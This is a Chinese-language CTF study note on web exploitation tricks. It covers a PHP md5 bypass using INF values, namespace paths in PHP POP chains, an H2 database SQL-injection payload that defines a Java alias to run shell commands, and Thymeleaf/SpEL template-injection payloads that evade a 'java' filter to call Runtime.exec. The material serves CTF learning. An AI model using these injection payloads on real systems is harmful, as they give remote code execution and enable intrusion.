PHP中的特殊md5值

之前碰到过很多md5绕过的小技巧,但是很少提到md5本身的特殊值(印象中只有一个万能密码)。在PHP中,INF和NAN分别表示最大值和最小值,此时如果有类似下面这样的判断条件

if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
      if (md5($dsb) === md5($this->ctf)) {
        echo file_get_contents("/flag.txt");
    }
}

就可以利用INF的特性绕过。因为在PHP中,像9e999999这样庞大的数字时没法超过INF的,所以PHP就会干脆把它直接当成INF,所以INF和9e999999的md5值是相等的。需要注意的是,INF可以是字符串也可以是一种数据,也就是说不用加单引号,因为不管是字符串还是无穷大在md5时都会被当作无穷大(这点就很有意思,可能存在其他的绕过漏洞)。但9e999999一定不能加单引号,否则会被当作字符串

命名空间

之前比较少提到这个,因为国内ctf的php pop题大都是在一个文件里实现的。不过今天偶然遇到了跨文件的pop链构造,就顺便记录一下

想下面这样,就是一个命名空间内的拓展类的定义

namespace Helpers{
    use \ArrayIterator;
	class ArrayHelpers extends ArrayIterator
	{
		public $callback;

		public function current()
		{
			$value = parent::current();
			$debug = call_user_func($this->callback, $value);
			return $value;
		}
	}
}

意思就是定义了一个叫Helpers命名空间,在这个命名空间里可以随意定义各种变量、类的名字,不会和php自带的根空间冲突。比如这个ArrayHelpers就有可能会和php某个自带的函数名冲突,所以才需要再创建一个命名空间来避免这种冲突。

并且ArrayHelpersArrayIterator的扩展类,可以看到代码里还use了一下,说明它希望使用ArrayIterator这个命名空间里的一些函数,而不是使用php自带的。比如下面的current

假设这段代码被单独放到一个文件里,那么要引用他就需要先将这个文件include一下,然后再use

image-20250217003142770

这里有一个很重要的细节,就是Helpers\ArrayHelpers\Helpers\ArrayHelpers本质上是两种完全不同的东西。其实就和绝对/相对路径的道理一样,前者是当前命名空间下的命名空间引用,后者是从根空间开始引用。

如果在构造pop链的时候发现语法正确但无响应,就可以检查一下是不是命名空间的路径错了

java h2数据库

这是java自带的一种嵌入式数据库,之所以叫嵌入式,不仅是因为它可以被当成java的包被import,跟重要的是它能够执行java代码。也就是说,一旦存在sql拼接,像下面这样存在sql注入的话

String query = String.format("Select * from notes where name ='%s' ", name);

就可以通过创建alias调用java代码,从而达到RCE的效果

pwn'; CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";}';-- 

使用方法

pwn' UNION SELECT 10, EXECVE('ls /'), NULL -- 

java SSTI

java和其他语言一样,也有模板。但一般不会和py一样有很明显的类似render函数去调用,而是会像下面这样

@Controller
public class IndexController {
    @GetMapping("/")
    public String index(@RequestParam(defaultValue = "en") String lang, HttpSession session, RedirectAttributes redirectAttributes) {
        if (session.getAttribute("user") == null) {
            return "redirect:/login";
        }

        if (lang.toLowerCase().contains("java")) {
            redirectAttributes.addFlashAttribute("errorMessage", "But.... For what?");
            return "redirect:/";
        }

        return lang + "/index";
    }
}

这里的lang+"/index"就是模板渲染的地方。我们可以通过控制lang来达到执行java代码的目的。java模板一样有很多种,都可以通过测试试出来,下面是几种常见的

image-20250321093514554

image-20250321093529263

当然例子这题用的是thymeleaf,可以在pom.xml找到

image-20250321093725243

这道题用的payload是

__${7*7}__::.x

__::.x是Thymeleaf 的预处理或片段语法,在这里不重要,重要的是${7*7}被执行,说明存在ssti注入。执行结果如下

Error resolving template [49], template might not exist or might not be accessible by any of the configured Template Resolvers

因此理论上只需要这样就能执行

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

但因为存在java关键词过滤,所以我们要利用**Spring Expression Language (SpEL)**的特性,在T修饰器内可以省略java.lang,所以最终payload为

__${T(Runtime).getRuntime().exec("ls")}__::.x

当然,大概率你会得到一个这样的结果

Error resolving template [java.lang.UNIXProcess@590062a7], template might not exist or might not be accessible by any of the configured Template Resolvers

则表示执行成功,但没有回显。所以要通过反弹或者外带来拿flag